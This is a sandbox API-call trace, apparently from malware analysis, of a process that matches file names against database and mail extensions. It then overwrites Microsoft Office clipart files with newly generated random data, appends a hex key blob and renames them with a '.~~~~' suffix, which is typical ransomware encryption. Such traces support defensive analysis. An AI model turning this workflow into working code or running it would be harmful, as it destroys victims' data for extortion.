	[0106.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".CKP") returned 0x0
	[0106.443] lstrlenW (lpString=".edb") returned 4
	[0106.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".edb") returned 0x0
	[0106.443] lstrlenW (lpString=".PST") returned 4
	[0106.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".PST") returned 0x0
	[0106.443] lstrlenW (lpString=".dbf") returned 4
	[0106.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".dbf") returned 0x0
	[0106.443] lstrlenW (lpString=".SQL") returned 4
	[0106.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".SQL") returned 0x0
	[0106.443] lstrlenW (lpString=".pst") returned 4
	[0106.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".pst") returned 0x0
	[0106.443] lstrlenW (lpString=".dbv") returned 4
	[0106.443] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".dbv") returned 0x0
	[0106.443] lstrlenW (lpString=".SDF") returned 4
	[0106.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".SDF") returned 0x0
	[0106.444] lstrlenW (lpString=".dtxs") returned 5
	[0106.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".dtxs") returned 0x0
	[0106.444] lstrlenW (lpString=".db3") returned 4
	[0106.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".db3") returned 0x0
	[0106.444] lstrlenW (lpString=".OST") returned 4
	[0106.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".OST") returned 0x0
	[0106.444] lstrlenW (lpString=".dbx") returned 4
	[0106.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".dbx") returned 0x0
	[0106.444] lstrlenW (lpString=".DB3") returned 4
	[0106.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".DB3") returned 0x0
	[0106.444] lstrlenW (lpString=".DAT") returned 4
	[0106.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".DAT") returned 0x0
	[0106.444] lstrlenW (lpString=".VHDX") returned 5
	[0106.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".VHDX") returned 0x0
	[0106.444] lstrlenW (lpString=".ndf") returned 4
	[0106.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".ndf") returned 0x0
	[0106.444] lstrlenW (lpString=".DB") returned 3
	[0106.444] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".DB") returned 0x0
	[0106.444] lstrlenW (lpString=".sql") returned 4
	[0106.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".sql") returned 0x0
	[0106.445] lstrlenW (lpString=".MYD") returned 4
	[0106.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".MYD") returned 0x0
	[0106.445] lstrlenW (lpString=".DBT") returned 4
	[0106.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".DBT") returned 0x0
	[0106.445] lstrlenW (lpString=".ACCDB") returned 6
	[0106.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".ACCDB") returned 0x0
	[0106.445] lstrlenW (lpString=".fdb") returned 4
	[0106.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".fdb") returned 0x0
	[0106.445] lstrlenW (lpString=".bak") returned 4
	[0106.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".bak") returned 0x0
	[0106.445] lstrlenW (lpString=".myd") returned 4
	[0106.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".myd") returned 0x0
	[0106.445] lstrlenW (lpString=".DTXS") returned 5
	[0106.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".DTXS") returned 0x0
	[0106.445] lstrlenW (lpString=".ckp") returned 4
	[0106.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".ckp") returned 0x0
	[0106.445] lstrlenW (lpString=".dbt") returned 4
	[0106.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".dbt") returned 0x0
	[0106.445] lstrlenW (lpString=".db") returned 3
	[0106.445] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".db") returned 0x0
	[0106.446] lstrlenW (lpString=".TXT") returned 4
	[0106.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".TXT") returned 0x0
	[0106.446] lstrlenW (lpString=".MDF") returned 4
	[0106.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".MDF") returned 0x0
	[0106.446] lstrlenW (lpString=".bdb") returned 4
	[0106.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".bdb") returned 0x0
	[0106.446] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0106.446] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0106.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0106.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363058
	[0106.446] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0106.448] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.448] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0106.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0106.448] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22643814244) returned 1
	[0106.448] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa92089d0, dwHighDateTime=0x1d60e1e)) 
	[0106.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0106.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0106.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0106.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28beff0
	[0106.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28beff0 | out: hHeap=0x300000) returned 1
	[0106.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28988b8
	[0106.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28734d0
	[0106.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28988b8 | out: hHeap=0x300000) returned 1
	[0106.449] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0106.449] GetLastError () returned 0x0
	[0106.449] GetLastError () returned 0x0
	[0106.449] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0106.450] GetLastError () returned 0x0
	[0106.450] GetLastError () returned 0x0
	[0106.455] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffc776, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.455] WriteFile (in: hFile=0x120, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0x388a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x25dfec0*=0x388a, lpOverlapped=0x0) returned 1
	[0106.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0106.460] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.460] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.460] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.460] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.460] CloseHandle (hObject=0x120) returned 1
	[0106.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28988b8
	[0106.461] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf.~~~~")) returned 1
	[0106.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28988b8 | out: hHeap=0x300000) returned 1
	[0106.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0106.462] GetLastError () returned 0x0
	[0106.462] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0106.464] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.464] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0106.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0106.464] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22645409475) returned 1
	[0106.464] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa922eb30, dwHighDateTime=0x1d60e1e)) 
	[0106.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0106.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0106.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0106.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d980
	[0106.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d980 | out: hHeap=0x300000) returned 1
	[0106.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28988b8
	[0106.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2873568
	[0106.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28988b8 | out: hHeap=0x300000) returned 1
	[0106.465] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0106.465] GetLastError () returned 0x0
	[0106.465] GetLastError () returned 0x0
	[0106.465] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0106.465] GetLastError () returned 0x0
	[0106.465] GetLastError () returned 0x0
	[0106.470] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffdbc0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.470] WriteFile (in: hFile=0x120, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0x2440, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x25dfec0*=0x2440, lpOverlapped=0x0) returned 1
	[0106.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0106.471] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.471] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.471] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.471] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.471] CloseHandle (hObject=0x120) returned 1
	[0106.472] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28988b8
	[0106.472] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285484.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285484.wmf.~~~~")) returned 1
	[0106.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28988b8 | out: hHeap=0x300000) returned 1
	[0106.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0106.473] GetLastError () returned 0x0
	[0106.473] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0106.474] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.474] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0106.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0106.474] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22646456736) returned 1
	[0106.475] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa922eb30, dwHighDateTime=0x1d60e1e)) 
	[0106.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0106.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0106.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0106.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d9b8
	[0106.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d9b8 | out: hHeap=0x300000) returned 1
	[0106.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28988b8
	[0106.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2873600
	[0106.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28988b8 | out: hHeap=0x300000) returned 1
	[0106.475] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0106.475] GetLastError () returned 0x0
	[0106.476] GetLastError () returned 0x0
	[0106.476] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0106.476] GetLastError () returned 0x0
	[0106.476] GetLastError () returned 0x0
	[0106.528] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff86a4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.528] WriteFile (in: hFile=0x120, lpBuffer=0x29a6088*, nNumberOfBytesToWrite=0x795c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a6088*, lpNumberOfBytesWritten=0x25dfec0*=0x795c, lpOverlapped=0x0) returned 1
	[0106.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a6088 | out: hHeap=0x300000) returned 1
	[0106.533] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.533] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.533] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.533] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.533] CloseHandle (hObject=0x120) returned 1
	[0106.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.534] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285780.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285780.wmf.~~~~")) returned 1
	[0106.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0106.676] GetLastError () returned 0x0
	[0106.677] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0106.678] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.678] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0106.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0106.678] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22666845645) returned 1
	[0106.678] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa941dd10, dwHighDateTime=0x1d60e1e)) 
	[0106.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0106.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0106.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0106.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286dc20
	[0106.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286dc20 | out: hHeap=0x300000) returned 1
	[0106.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2873698
	[0106.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.679] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0106.680] GetLastError () returned 0x0
	[0106.680] GetLastError () returned 0x0
	[0106.680] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0106.680] GetLastError () returned 0x0
	[0106.680] GetLastError () returned 0x0
	[0106.684] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffd2df, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.684] WriteFile (in: hFile=0x120, lpBuffer=0x29a8088*, nNumberOfBytesToWrite=0x2d21, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29a8088*, lpNumberOfBytesWritten=0x25dfec0*=0x2d21, lpOverlapped=0x0) returned 1
	[0106.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a8088 | out: hHeap=0x300000) returned 1
	[0106.685] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
